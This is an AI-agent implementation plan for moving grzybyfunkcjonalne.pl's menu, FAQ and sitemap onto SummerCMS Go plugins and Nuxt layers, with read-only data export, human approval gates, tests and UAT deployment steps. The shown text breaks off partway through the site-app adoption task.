- "SC-4: on UAT (https://uat.grzybyfunkcjonalne.pl) the site header renders the main menu from GET /_menu/api/v1/menus/{code} through vue-menu-layer's MenuNav and the homepage FAQ section renders the FAQ what-mushrooms-can-give-you from GET /_faq/api/v1/faqs/{slug} through vue-faq-layer's FaqBlock; app/data/menu.ts and app/data/faq.pl.json are gone from vue-grzybyfunkcjonalne-app."
- "D-19 and D-05: the PHP menu, FAQ and sitemap rows are copied from the live Winter database by read-only export SQL into JSONL and imported by the plugin import commands as an ordered scripted step (scripts/import-companions.sh, run by migrate.sh after the Journal and locale steps and runnable alone on an existing database), with menu type values mapped (link to url, blog_categories to all-journal-categories, page dropped, extra pairs from the recorded discovery), FAQ locale_id remapped by code, every dropped or remapped item reported in the SUMMARY."
- "D-15: nginx routes exactly /sitemap.xml and /sitemap.xsl, plus the prefixes /_menu/ and /_faq/, to the Go binary (Host and X-Forwarded-Proto forwarded), the @nuxtjs/seo sitemap module is disabled in the site app (sitemap enabled false) while robots, meta, OG and canonical stay on @nuxtjs/seo, robots points at /sitemap.xml, and editors manage the sitemap at /gfadmin; this reverses Phase 16 D-13 for the sitemap only."
- "SC-3 (live): /sitemap.xml on UAT answers 200 application/xml in the PHP format with the frontend_url rewrite applied; its loc set equals the live PHP sitemap's loc set modulo the host, and the remaining differences (lastmod omitted for URL items, PHP's older plugin faked it; category and post order under Postgres collation) are listed in the SUMMARY."
- "D-18: vue-menu-layer and vue-faq-layer are new public repositories under git.golem15.com/golem15 with the vue-journal-layer distribution (Nuxt 4.4.8 layer, absolute currentDir paths, tokens CSS then base CSS, runtimeConfig server apiBase plus public same-origin apiBase, node --test tests and a .playground SSR smoke, no modules declared, tag v0.1.0), each mirroring one plugin with a typed client and render components; the site app extends both pinned as git+https dependencies at #v0.1.0."
- "D-18 and UI-SPEC: MenuNav renders the WAI disclosure navigation (links through NuxtLink for relative paths, plain anchors for absolute, mailto and tel, a span with no href for a URL outside the allowlist, rel noopener noreferrer on _blank, dividers aria-hidden, active link aria-current page with the trail class, mobile toggle 44x44, Esc and route change close) and renders nothing (or the fallback slot) on 404, error or no entries; FaqBlock renders the title, the server-sanitized description and native details items (exclusive and openFirst props) and nothing on 404, error or no items; neither layer ships a component named FaqSection."
- "UI-SPEC backstop: {statement: \"a layer node test asserts that javascript: and data: URLs render as a span with no href and that _blank links carry rel noopener noreferrer\", verification: backstop}"
- "SC-2 in the host: the grzyby host config menu_items.patterns sets journal-post to /blog/:slug and journal-category to /:slug (P16 D-15 URLs) and no list-type key; the list types all-journal-categories, all-journal-posts and category-journal-posts follow those two through PatternFrom (17-01, 17-03), and the host test proves that all-journal-categories children reach the menu API and the sitemap at /<slug> (not the Journal default /blog/category/<slug>) and all-journal-posts children reach the sitemap at /blog/<slug>."
- "Release discipline: the four plugin repositories (Journal, sitemap, menu, FAQ) require the plan 02 summercms tag in go.mod and are pushed before the host commits their gitlinks; every gitlink bump is its own host commit; nothing is pushed or deployed before the human approves at Task 1."
artifacts:
- path: "../sm-grzybyfunkcjonalne-app/companions_test.go"
provides: "host test: imports fixture exports and serves menu, FAQ and sitemap"
contains: "_menu/api/v1"
- path: "../sm-grzybyfunkcjonalne-app/scripts/import-companions.sh"
provides: "ordered D-19 import step"
contains: "menu:import-winter"
- path: "../vue-menu-layer/app/components/Menu/Nav.vue"
provides: "MenuNav component"
- path: "../vue-faq-layer/app/components/Faq/Block.vue"
provides: "FaqBlock component"
- path: "../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf"
provides: "nginx routes for sitemap, menu and FAQ to Go"
contains: "location = /sitemap.xml"
key_links:
- from: "vue-grzybyfunkcjonalne-app SiteHeader.vue"
to: "vue-menu-layer MenuNav"
via: "extends plus the MenuNav component with the recorded menu code"
pattern: "MenuNav"
- from: "vue-grzybyfunkcjonalne-app FaqSection.vue"
to: "vue-faq-layer FaqBlock"
via: "FaqBlock with slug what-mushrooms-can-give-you"
pattern: "FaqBlock"
- from: "nginx /sitemap.xml"
to: "sm-sitemap-plugin route"
via: "exact location proxied to 127.0.0.1:8096"
pattern: "sitemap.xml"
prohibitions:
- statement: "The live PHP site and its database are only read: the export SQL files are SELECT-only, the Winter vhost and php-fpm configuration are untouched, and no secret is printed, copied back or committed."
status: unresolved
verification: judgment
- statement: "No repository is pushed, no tag is created and nothing is deployed before the human approves at Task 1; no pushed tag is moved; no git add -A, and no file inside a submodule is staged from the host repository."
status: unresolved
verification: judgment
- statement: "The layers are module-free (no @nuxtjs/i18n, @nuxtjs/seo or fonts) and ship no site copy and no consuming application name; per-post meta, OG, canonical and robots stay on @nuxtjs/seo."
status: unresolved
verification: judgment
---
## Phase Goal
ROADMAP Goal (not in user-story format): the sitemap, menu and FAQ plugins run on SummerCMS as shared `sm-*-plugin` repos, so a blog site can manage its menus, FAQs and sitemap in the admin again instead of hardcoding them in the Nuxt app.
This plan's slice (plan 5 of 6, wave 3): grzybyfunkcjonalne.pl adopts the three plugins and two new layers, its PHP rows are copied in, and UAT serves the menu, FAQ and sitemap from the plugins (SC-4).
## Spec-less probe fallback
SC-4 is unclassified by the edge probe; it is surfaced as an explicit flagged assumption: the deployed rendering is verified by the human UAT check (end-of-phase `<human-check>`), not by an automated predicate alone. SC-3 ordering backstop from plan 03 is checked here on live data (set-equal loc sets). Prohibitions recalled in-prompt, descriptor-less.
## UI Considerations (lifted from 17-UI-SPEC.md, layers)
Resolved explicit items for the menu nav and FAQ block (loading through SSR, error and empty render nothing or the fallback slot, populated, zero-one-many, overflow, long text) are truths above. Backstop: the URL-scheme node test (truth above). No unresolved items.
## Decisions taken in this plan
- Menu code: the PHP theme selects menu id 1; its code is read from the live database at Task 1 (MENU_CODE) and used in SiteHeader and the smoke lines.
- Extra type mappings (PHP Blog-plugin keys, RESEARCH A9) come from Task 1's DISTINCT type query and are passed as `--map old=new` to the import commands; recorded in DEPLOY.md and the SUMMARY.
- `scripts/import-companions.sh` is a separate script that migrate.sh calls with `--companions DIR`, so UAT (already migrated, migrate.sh refuses a database with posts) runs the same step alone.
- The menu and FAQ edits show on the site after the swr TTL (at most 300 s); a follow-up todo records a framework-level purge (RESEARCH Open Question 4).
- Repository visibility: plugins as sm-journal-plugin; layers public (pnpm installs them over https).
## Artifacts this phase produces (this plan)
- Pushed: sm-journal-plugin, sm-sitemap-plugin, sm-menu-plugin, sm-faq-plugin (main, requiring the plan 02 tag); vue-menu-layer and vue-faq-layer (main and tag v0.1.0); vue-grzybyfunkcjonalne-app (main); sm-grzybyfunkcjonalne-app (master).
- Host: three submodules at `plugins/golem15/{sitemap,menu,faq}`, go.work, go.mod, summer.yaml, regenerated `plugins.gen.go` and `main.go`, `config/menu_items.yaml`, CORS paths, `companions_test.go` with fixture exports, `scripts/import-companions.sh`, migrate.sh step, nginx locations, smoke lines, DEPLOY.md "Blog companions" section.
- Layers: `MenuNav`, `MenuNavItem`, `useMenu`, `useMenuApi`, `menuLinks`; `FaqBlock`, `FaqList`, `FaqItem`, `useFaq`, `useFaqApi`; tokens and base CSS; tests and SSR smokes.
- UAT: plugin tables migrated, PHP rows imported, both programs restarted, smoke green.
<objective>
Move grzybyfunkcjonalne.pl's menu, FAQ and sitemap from app code onto the plugins and layers, with its PHP data, and prove it on UAT.
Purpose: SC-4, the live half of SC-3, and D-15, D-18, D-19.
Output: pushed plugin and layer repositories, the integrated host and site app, an updated UAT.
</objective>
<execution_context>
@~/.claude/msd-core/workflows/execute-plan.md
@~/.claude/msd-core/templates/summary.md
</execution_context>
<context>
@.planning/phases/17-blog-companions/17-CONTEXT.md
@.planning/phases/17-blog-companions/17-RESEARCH.md
@.planning/phases/17-blog-companions/17-UI-SPEC.md
@.planning/phases/17-blog-companions/17-02-SUMMARY.md
@.planning/phases/17-blog-companions/17-03-SUMMARY.md
@.planning/phases/17-blog-companions/17-04-SUMMARY.md
@.planning/notes/core-plugins-own-repos.md
Session values: RELEASE_TAG from 17-02-SUMMARY (the summercms tag), the approved API shape from 17-04-SUMMARY, STAGING_SSH and STAGING_URL as in Phase 16 (DEPLOY.md Server facts). Workflow per core-plugins-own-repos.md: commit and push a plugin first, then the pointer bump in the host as a separate commit; never stage files inside a submodule from the host. vue-grzybyfunkcjonalne-app is itself a submodule of the host (branch main); it is committed and pushed in its own checkout, then its gitlink is bumped in the host. Host branch master. No co-author tags. Deploy steps follow ../sm-grzybyfunkcjonalne-app/DEPLOY.md (Release, Smoke, Rollback).
</context>
<tasks>
<task type="checkpoint:human-action" gate="blocking-human">
<name>Task 1: Create the five repositories, export the Winter rows read-only, record the menu code and type values, and approve pushes and the UAT redeploy</name>
<read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Server facts, Release, Rollback), ../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md, ../sm-sitemap-plugin/scripts/winter-export-definitions.sql and winter-export-settings.sql, ../sm-menu-plugin/scripts/winter-export-menus.sql and winter-export-entries.sql, ../sm-faq-plugin/scripts/winter-export.sql, 17-02-SUMMARY.md (RELEASE_TAG), 17-03-SUMMARY.md and 17-04-SUMMARY.md (local commits per repository, NOT RUN suites), /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/themes/arsha/layouts/default.htm (menu = 1)</read_first>
<action>Print a checklist and a release sheet, then stop.
Release sheet: RELEASE_TAG; the commits to push per repository (sm-journal-plugin, sm-sitemap-plugin, sm-menu-plugin, sm-faq-plugin, then the layers, the site app and the host); the one-way surfaces (/_menu/api/v1 and /_faq/api/v1 shapes as approved in 17-04, layer tags v0.1.0, plugin table and migration IDs, the menu built-in key url); the Postgres suites recorded NOT RUN in plans 03 and 04; open high findings in 17-REVIEW.md or 17-SECURITY.md if present.
Checklist for the human: (1) create the five empty repositories named in user_setup; (2) on the PHP server run the read-only discovery queries SELECT id, code, name, is_active FROM golem15_menu_menus; SELECT DISTINCT type FROM golem15_menu_menu_entries; SELECT id, theme FROM golem15_sitemap_definitions; SELECT id, slug, locale_id, is_active FROM golem15_faq_faqs; SHOW TABLES LIKE '%translate_locales'; and report the results (no secret values); (3) run the five export SQL files with mysql -N -B --raw after checking the translate table prefix, writing menus.jsonl, entries.jsonl, faqs.jsonl, sitemap-definitions.jsonl and sitemap-settings.json to /srv/grzybyfunkcjonalne/import/companions/ readable by the deploy user; (4) approve the pushes and the UAT redeploy. Record in the SUMMARY: MENU_CODE (the code of menu id 1), the DISTINCT menu types and sitemap item types with the mapping decided for each (old=new or drop), the FAQ slugs and locales, and the reply.</action>
<instructions>
Claude built and tested the plugins locally (plans 03 and 04) and printed the release sheet and checklist.
The human creates the repositories, runs the read-only queries and exports on the PHP server (only the operator holds those credentials), and approves.
</instructions>
<verification>The verify command prints companions-ready.</verification>
<resume-signal>Reply "repos created, exports placed, menu code X, maps a=b c=d, push approved" (maps may be "none"), or "hold".</resume-signal>
<verify>
<automated>for r in sm-sitemap-plugin sm-menu-plugin sm-faq-plugin vue-menu-layer vue-faq-layer; do git ls-remote "git@git.golem15.com:golem15/$r.git" &gt;/dev/null || exit 1; done; test -n "$STAGING_SSH" &amp;&amp; ssh "$STAGING_SSH" 'cd /srv/grzybyfunkcjonalne/import/companions &amp;&amp; test -s menus.jsonl &amp;&amp; test -s entries.jsonl &amp;&amp; test -s faqs.jsonl &amp;&amp; test -s sitemap-definitions.jsonl &amp;&amp; test -s sitemap-settings.json &amp;&amp; for f in *.jsonl; do jq -c . "$f" &gt;/dev/null || exit 1; done &amp;&amp; jq -e type sitemap-settings.json &gt;/dev/null' &amp;&amp; echo companions-ready</automated>
<fails_when>Non-zero exit or "companions-ready" absent: a repository does not exist or is not reachable over SSH, STAGING_SSH is unset, an export file is missing or empty, or a line does not parse as JSON.</fails_when>
</verify>
<acceptance_criteria>
- The five repositories answer git ls-remote and the five export files exist and parse on the server.
- The SUMMARY records MENU_CODE, every DISTINCT type with its mapping decision, the FAQ rows and the human's reply verbatim.
</acceptance_criteria>
<done>Repositories exist, the Winter rows are exported read-only, the mappings are decided and the human approved pushes and the redeploy.</done>
</task>
<task type="tracer">
<name>Task 2: Tracer: the host boots with the three plugins from their pushed repositories, imports fixture exports, and serves the menu with Journal category children, the FAQ and the sitemap</name>
<reversibility rating="costly">D-19 and SC-1: the submodule layout, plugin IDs and table names become what UAT and the production cutover run; moving them later means data and deploy changes.</reversibility>
<precondition>Task 1 printed companions-ready and the human approved pushes; RELEASE_TAG from 17-02-SUMMARY exists on origin (`git ls-remote --tags origin "refs/tags/$RELEASE_TAG"` in summercms.go prints a line).</precondition>
<files>../sm-journal-plugin/go.mod, ../sm-sitemap-plugin/go.mod, ../sm-menu-plugin/go.mod, ../sm-faq-plugin/go.mod, ../sm-grzybyfunkcjonalne-app/.gitmodules, ../sm-grzybyfunkcjonalne-app/plugins/golem15/sitemap, ../sm-grzybyfunkcjonalne-app/plugins/golem15/menu, ../sm-grzybyfunkcjonalne-app/plugins/golem15/faq, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal, ../sm-grzybyfunkcjonalne-app/go.work, ../sm-grzybyfunkcjonalne-app/go.mod, ../sm-grzybyfunkcjonalne-app/go.sum, ../sm-grzybyfunkcjonalne-app/summer.yaml, ../sm-grzybyfunkcjonalne-app/plugins.gen.go, ../sm-grzybyfunkcjonalne-app/main.go, ../sm-grzybyfunkcjonalne-app/config/http.yaml, ../sm-grzybyfunkcjonalne-app/config/menu_items.yaml, ../sm-grzybyfunkcjonalne-app/boot_test.go, ../sm-grzybyfunkcjonalne-app/companions_test.go, ../sm-grzybyfunkcjonalne-app/testdata/companions/menus.jsonl, ../sm-grzybyfunkcjonalne-app/testdata/companions/entries.jsonl, ../sm-grzybyfunkcjonalne-app/testdata/companions/faqs.jsonl, ../sm-grzybyfunkcjonalne-app/testdata/companions/sitemap-definitions.jsonl, ../sm-grzybyfunkcjonalne-app/testdata/companions/sitemap-settings.json</files>
<read_first>.planning/notes/core-plugins-own-repos.md, ../sm-grzybyfunkcjonalne-app/.gitmodules, go.work, go.mod, summer.yaml, config/http.yaml, boot_test.go (TestBootUserTranslateJournal :19, TestCORS :265), plugins/grzyby/console/testmain_test.go (Postgres harness with GRZYBY_TEST_ADMIN_DSN or testcontainers), plugins/grzyby/console/import_categories_test.go, ../sm-journal-plugin/go.mod, 17-02-SUMMARY.md, 17-03-SUMMARY.md, 17-04-SUMMARY.md, this plan's Task 1 SUMMARY (MENU_CODE, mappings)</read_first>
<action>Per D-19, D-05, SC-2 and SC-4, end to end in the host.
Plugins: in each of ../sm-journal-plugin, ../sm-sitemap-plugin, ../sm-menu-plugin and ../sm-faq-plugin run `go mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG` (the go.work replace stays), `go mod tidy` only where the require graph changed, vet, and commit go.mod and go.sum alone as "chore(deps): require summercms $RELEASE_TAG". Add origin git@git.golem15.com:golem15/<repo>.git to the three new repositories and push main for all four (Journal's push also publishes plan 03's commits).
Host: `git submodule add -b main git@git.golem15.com:golem15/sm-<name>-plugin.git plugins/golem15/<name>` for sitemap, menu and faq, and move plugins/golem15/journal to the pushed Journal main; commit each submodule change alone (chore: add <name> plugin submodule; chore: bump journal plugin (menu item types)). Then in one host commit: go.work use lines for the three; go.mod require plus replace lines (sm-<name>-plugin => ./plugins/golem15/<name>) like Journal's; summer.yaml entries golem15.sitemap, golem15.menu, golem15.faq with their modules; regenerate plugins.gen.go and main.go with the summer CLI build (never hand-edit them); config/menu_items.yaml with patterns journal-post /blog/:slug and journal-category /:slug (P16 D-15) and no list-type keys, because the three Journal list types inherit these through PatternFrom (a comment in the file says so); config/http.yaml cors.paths gains _menu/api/* and _faq/api/* after _journal/api/*. boot_test.go: the activated plugin list now has seven entries including golem15.sitemap, golem15.menu and golem15.faq, the migrating set includes them, and TestCORS covers the two new paths.
Fixtures: testdata/companions/*.jsonl and sitemap-settings.json shaped exactly like the export SQL output, small and synthetic (no live content needed): menu MENU_CODE with a link entry /blog, a blog_categories entry with title Grzyby Funkcjonalne, a divider and a page entry; one FAQ what-mushrooms-can-give-you in pl with two questions, one answer containing a script element; a sitemap definition with url /, an all-journal-categories item and an all-journal-posts item (both with an empty urlPattern, so the host patterns apply) and settings with frontend_url. companions_test.go with TestCompanionsHost (Postgres, the console harness approach): boot the host plugins, migrate, seed the pl locale and two Journal categories and one published post, run faq:import-winter, menu:import-winter (with the Task 1 maps) and sitemap:import-winter through their bonfire commands, then through the assembled router GET /_menu/api/v1/menus/MENU_CODE (the blog_categories entry became all-journal-categories and carries the two categories with URLs exactly /<slug>; the page entry is gone), GET /_faq/api/v1/faqs/what-mushrooms-can-give-you (200, the script element absent), and GET /sitemap.xml (200 application/xml; with the host part removed, the loc paths include exactly /<category slug> for both categories and /blog/<post slug> for the post, and no loc path starts with /blog/category/).</action>
<verify>
<automated>cd ../sm-grzybyfunkcjonalne-app &amp;&amp; go vet ./... &amp;&amp; go test -count=1 -short ./... &amp;&amp; for r in sm-journal-plugin sm-sitemap-plugin sm-menu-plugin sm-faq-plugin; do test "$(git -C ../$r rev-parse main)" = "$(git -C ../$r rev-parse origin/main)" || exit 1; grep -q "git.golem15.com/golem15/summercms $RELEASE_TAG" ../$r/go.mod || exit 1; done; for s in sitemap menu faq; do L=$(git submodule status plugins/golem15/$s) || exit 1; case "$L" in " "*) ;; *) exit 1 ;; esac; done; echo host-wired</automated>
<fails_when>Non-zero exit or "host-wired" absent: the host fails vet or a Docker-free test (boot list, CORS paths, regenerated main), a plugin's main is not pushed or does not require RELEASE_TAG, or a submodule is missing or not checked out at its recorded commit.</fails_when>
<automated>docker info &gt;/dev/null 2&gt;&amp;1 &amp;&amp; cd ../sm-grzybyfunkcjonalne-app &amp;&amp; go test -count=1 -run '^TestCompanionsHost$' -v . 2&gt;&amp;1 | grep -- '^--- PASS: TestCompanionsHost'</automated>
<fails_when>Non-zero exit: no Docker daemon (record NOT RUN), or an import failed, the menu lacks the resolved Journal categories at /<slug>, the page entry survived, the FAQ is unsanitized, or the sitemap lacks the Journal URLs or carries a list child at the Journal default pattern instead of the host pattern.</fails_when>
</verify>
<acceptance_criteria>
- For each of sm-sitemap-plugin, sm-menu-plugin and sm-faq-plugin, `grep -n "golem15/<name>.git" ../sm-grzybyfunkcjonalne-app/.gitmodules` prints a line, and for each of golem15.sitemap, golem15.menu and golem15.faq `grep -n "id: <id>$" ../sm-grzybyfunkcjonalne-app/summer.yaml` prints a line.
- `grep -n "_menu/api/\*" ../sm-grzybyfunkcjonalne-app/config/http.yaml` and `grep -n "_faq/api/\*" ../sm-grzybyfunkcjonalne-app/config/http.yaml` each print a line.
- The host overrides exactly the two record types: `grep -v '^[[:space:]]*#' ../sm-grzybyfunkcjonalne-app/config/menu_items.yaml | grep -oE "^[[:space:]]+[a-z0-9-]+:[[:space:]]+[\"']?/" | sed -E 's/^[[:space:]]+//; s/:.*//' | sort | paste -sd, -` prints `journal-category,journal-post`.
- `git -C ../sm-grzybyfunkcjonalne-app log --format=%s -5` shows the submodule additions and the Journal bump as separate commits.
</acceptance_criteria>
<done>The host runs the three plugins from their own repositories and serves a Journal-resolved menu, a sanitized FAQ and the sitemap from imported Winter rows.</done>
</task>
<task type="auto">
<name>Task 3: vue-menu-layer and vue-faq-layer: typed clients, MenuNav and FaqBlock per the UI-SPEC, tests, SSR smokes, tag v0.1.0 and push</name>
<reversibility rating="costly">D-18: the two repositories, their tag-pinned git distribution and their component names become what sites extend and override; restructuring means coordinated layer and site releases.</reversibility>
<precondition>Task 1's human reply approved pushes; the two empty layer repositories answer git ls-remote.</precondition>
<files>../vue-menu-layer/package.json, ../vue-menu-layer/pnpm-lock.yaml, ../vue-menu-layer/pnpm-workspace.yaml, ../vue-menu-layer/nuxt.config.ts, ../vue-menu-layer/tsconfig.json, ../vue-menu-layer/.gitignore, ../vue-menu-layer/.nvmrc, ../vue-menu-layer/README.md, ../vue-menu-layer/.playground/nuxt.config.ts, ../vue-menu-layer/.playground/app/app.vue, ../vue-menu-layer/app/components/Menu/Nav.vue, ../vue-menu-layer/app/components/Menu/NavItem.vue, ../vue-menu-layer/app/composables/useMenu.ts, ../vue-menu-layer/app/composables/useMenuApi.ts, ../vue-menu-layer/app/utils/client.ts, ../vue-menu-layer/app/utils/types.ts, ../vue-menu-layer/app/utils/menuLinks.ts, ../vue-menu-layer/app/assets/css/menu-tokens.css, ../vue-menu-layer/app/assets/css/menu-base.css, ../vue-menu-layer/tests/menuLinks.test.ts, ../vue-menu-layer/tests/client.test.ts, ../vue-menu-layer/testing/fixture-api.mjs, ../vue-menu-layer/testing/smoke-ssr.mjs, ../vue-menu-layer/testing/fixtures/menus/main.json, ../vue-menu-layer/testing/expect.txt, ../vue-faq-layer/package.json, ../vue-faq-layer/pnpm-lock.yaml, ../vue-faq-layer/pnpm-workspace.yaml, ../vue-faq-layer/nuxt.config.ts, ../vue-faq-layer/tsconfig.json, ../vue-faq-layer/.gitignore, ../vue-faq-layer/.nvmrc, ../vue-faq-layer/README.md, ../vue-faq-layer/.playground/nuxt.config.ts, ../vue-faq-layer/.playground/app/app.vue, ../vue-faq-layer/app/components/Faq/Block.vue, ../vue-faq-layer/app/components/Faq/List.vue, ../vue-faq-layer/app/components/Faq/Item.vue, ../vue-faq-layer/app/composables/useFaq.ts, ../vue-faq-layer/app/composables/useFaqApi.ts, ../vue-faq-layer/app/utils/client.ts, ../vue-faq-layer/app/utils/types.ts, ../vue-faq-layer/app/assets/css/faq-tokens.css, ../vue-faq-layer/app/assets/css/faq-base.css, ../vue-faq-layer/tests/client.test.ts, ../vue-faq-layer/testing/fixture-api.mjs, ../vue-faq-layer/testing/smoke-ssr.mjs, ../vue-faq-layer/testing/fixtures/faqs/acme.json, ../vue-faq-layer/testing/expect.txt</files>
<read_first>../vue-journal-layer/nuxt.config.ts, package.json, pnpm-workspace.yaml, tsconfig.json, .gitignore, .nvmrc, README.md, .playground/, app/utils/client.ts and types.ts, app/composables/useJournalApi.ts, app/assets/css/journal-tokens.css and journal-base.css, app/components/Journal/PostList.vue, tests/client.test.ts, testing/fixture-api.mjs, testing/nuxt-server.mjs, testing/smoke-ssr.mjs, scripts/check-git-install.sh; ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteHeader.vue and FaqSection.vue (markup the layers replace); .planning/phases/17-blog-companions/17-UI-SPEC.md (§7 vue-menu-layer, §8 vue-faq-layer, Color and Typography for layers, layer accessibility props); 17-04-SUMMARY.md (approved API shape)</read_first>
<action>Per D-18 and the UI-SPEC §7 and §8, with the API shape approved in 17-04.
Both layers copy vue-journal-layer's skeleton: package.json (private, type module, main nuxt.config.ts, engines node at least 22.18, peer nuxt 4.4.8, dev nuxt 4.4.8, vue 3.5.35 and typescript 5.9.3 only, scripts dev, build:playground, test "node --test --test-reporter=tap tests/*.test.ts" and smoke:ssr), nuxt.config.ts with an absolute currentDir, no modules key, css tokens then base, runtimeConfig menu.apiBase http://127.0.0.1:8096/_menu/api/v1 with public.menu.apiBase /_menu/api/v1 (faq: the /_faq/api/v1 pair), a .playground app, README (install as a pinned git+https dependency, tokens to override on :root:root, components and props, overriding a component by a same-name file, the API it expects, no site names).
vue-menu-layer: utils/types.ts (the approved menu shape), utils/client.ts (fetch with an injected Fetcher so node tests can stub; 404 resolves to null), utils/menuLinks.ts (allowlist http, https, mailto, tel, a leading slash or #; linkKind for NuxtLink, anchor or text; rel noopener noreferrer for _blank; path normalisation and active and trail matching against useRoute().path and the request host), composables useMenuApi and useMenu (useAsyncData key menu:code:locale, fetched during SSR, server base on the server and public base in the browser). Components Menu/Nav.vue (MenuNav: props code, locale, label, openLabel, closeLabel, submenuLabel; nav with the menu css_class; mobile toggle; #item and #fallback slots; renders nothing on 404, error or no items) and Menu/NavItem.vue (MenuNavItem, recursive, every row of the UI-SPEC entry table including dividers aria-hidden, disclosure toggles with aria-expanded and aria-controls, Esc, focus-out, outside pointer and route change closing, hover opening only for hover-capable pointers, sibling closing). menu-tokens.css and menu-base.css with the UI-SPEC tokens and the 767px breakpoint. Tests: menuLinks.test.ts (javascript: and data: become text with no href; _blank gets rel noopener noreferrer; active and trail matching; trailing slash and query ignored) and client.test.ts (URL built from base, code and locale; 404 gives null).
vue-faq-layer: utils/types.ts and client.ts (same pattern), useFaqApi and useFaq (key faq:slug:locale), Faq/Block.vue (FaqBlock: slug, locale, headingLevel 2 to 4, showHeading, showDescription, exclusive; section labelled by the heading; description v-html of the server-sanitized HTML; renders nothing on 404, error or no items unless #fallback), Faq/List.vue (FaqList: items, exclusive, openFirst), Faq/Item.vue (FaqItem: native details with a shared name when exclusive, summary with the CSS chevron that respects prefers-reduced-motion, answer v-html). faq-tokens.css and faq-base.css with the .faq-html rules. No component named FaqSection. client.test.ts as for the menu layer.
SSR smoke per layer: testing/fixture-api.mjs (node:http serving testing/fixtures), smoke-ssr.mjs reusing the journal layer's approach, expect.txt lines that the playground page renders the menu titles and an aria-current link (menu) and the FAQ title and a details element without the fixture's unsafe markup (faq fixture already sanitized, as the server sends it).
Install with pnpm (lockfile committed), run tests and the smoke, commit, git init -b main earlier, add origin, create annotated tag v0.1.0, push main and the tag for both layers.</action>
<verify>
<automated>pnpm -C ../vue-menu-layer test &amp;&amp; pnpm -C ../vue-faq-layer test &amp;&amp; pnpm -C ../vue-menu-layer run smoke:ssr &amp;&amp; pnpm -C ../vue-faq-layer run smoke:ssr &amp;&amp; for r in vue-menu-layer vue-faq-layer; do test -n "$(git -C ../$r ls-remote --tags origin refs/tags/v0.1.0)" || exit 1; done; echo layers-ok</automated>
<fails_when>Non-zero exit or "layers-ok" absent: a node test fails (an unsafe URL got an href, a _blank link lacks rel, a client builds the wrong URL), an SSR smoke expectation fails, or a v0.1.0 tag is not on origin.</fails_when>
</verify>
<acceptance_criteria>
- Neither layer declares Nuxt modules: `cat ../vue-menu-layer/nuxt.config.ts ../vue-faq-layer/nuxt.config.ts | grep -v '^[[:space:]]*//' | grep -c 'modules:'` prints 0.
- `test ! -e ../vue-faq-layer/app/components/FaqSection.vue` succeeds.
- `grep -ci "grzyby" ../vue-menu-layer/README.md ../vue-faq-layer/README.md` reports 0 for each file.
</acceptance_criteria>
<done>Any Nuxt site can render a plugin menu and FAQ by extending two tagged layers.</done>
</task>
<task type="auto">
<name>Task 4: The site app adopts both layers: MenuNav in the header, FaqBlock on the homepage, app menu and FAQ data removed, the Nuxt sitemap disabled</name>
<precondition>Task 3 printed layers-ok (both v0.1.0 tags on origin); MENU_CODE is recorded in this plan's SUMMARY.</precondition>
<files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteHeader.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/FaqSection.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/menu.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/faq.pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/tokens.css, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/content.test.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app</files>
<read_first>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, package.json, app/components/SiteHeader.vue, FaqSection.vue, app/data/menu.ts, app/data/faq.pl.json, app/assets/css/tokens.css, i18n/locales/pl.json, tests/content.test.ts, tests/ssr.test.ts, tests/fixtures/expect.txt, README.md; ../vue-menu-layer/README.md and ../vue-faq-layer/README.md (Task 3); .planning/phases/17-blog-companions/17-UI-SPEC.md (§7 and §8 Overrides); .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-13, D-15)</read_first>
<action>Per D-15, D-18 and D-19 (site half) and SC-4.
package.json: add vue-menu-layer and vue-faq-layer as git+https://git.golem15.com/golem15/<layer>.git#v0.1.0 dependencies; pnpm install (lockfile committed). nuxt.config.ts: extends vue-journal-layer, vue-menu-layer and vue-faq-layer (still no modules key); runtimeConfig menu.apiBase and faq.apiBase for SSR on 127.0.0.1:8096 (NUXT_MENU_API_BASE, NUXT_FAQ_API_BASE); sitemap enabled false with a comment that the Go plugin serves /sitemap.xml and nginx routes it (D-15, reverses P16 D-13 for the sitemap only); robots sitemap /sitemap.xml and disallow /_menu and /_faq next to /_journal; linkChecker excludes /_menu/**, /_faq/** and /sitemap.xsl. SiteHeader.vue keeps its bar, logo and skip link and replaces the MAIN_MENU loop with MenuNav code MENU_CODE and the i18n labels (menu.label, menu.open, menu.close, submenu label); tokens.css maps the --menu-* and --faq-* tokens to the site's --site-* palette. FaqSection.vue keeps its section wrapper and heading and renders FaqBlock slug what-mushrooms-can-give-you with show-heading false (its own title and intro stay in pl.json only if still used). Delete app/data/menu.ts and app/data/faq.pl.json, remove i18n keys that nothing uses any more, update tests/content.test.ts (no longer reads those files; asserts that SiteHeader uses MenuNav and FaqSection uses FaqBlock), and keep tests/fixtures/expect.txt green (the SSR smoke has no menu or FAQ API, so those regions render nothing and every existing page still answers its status). README: the menu and FAQ now come from the plugins through the layers, edited in /gfadmin; 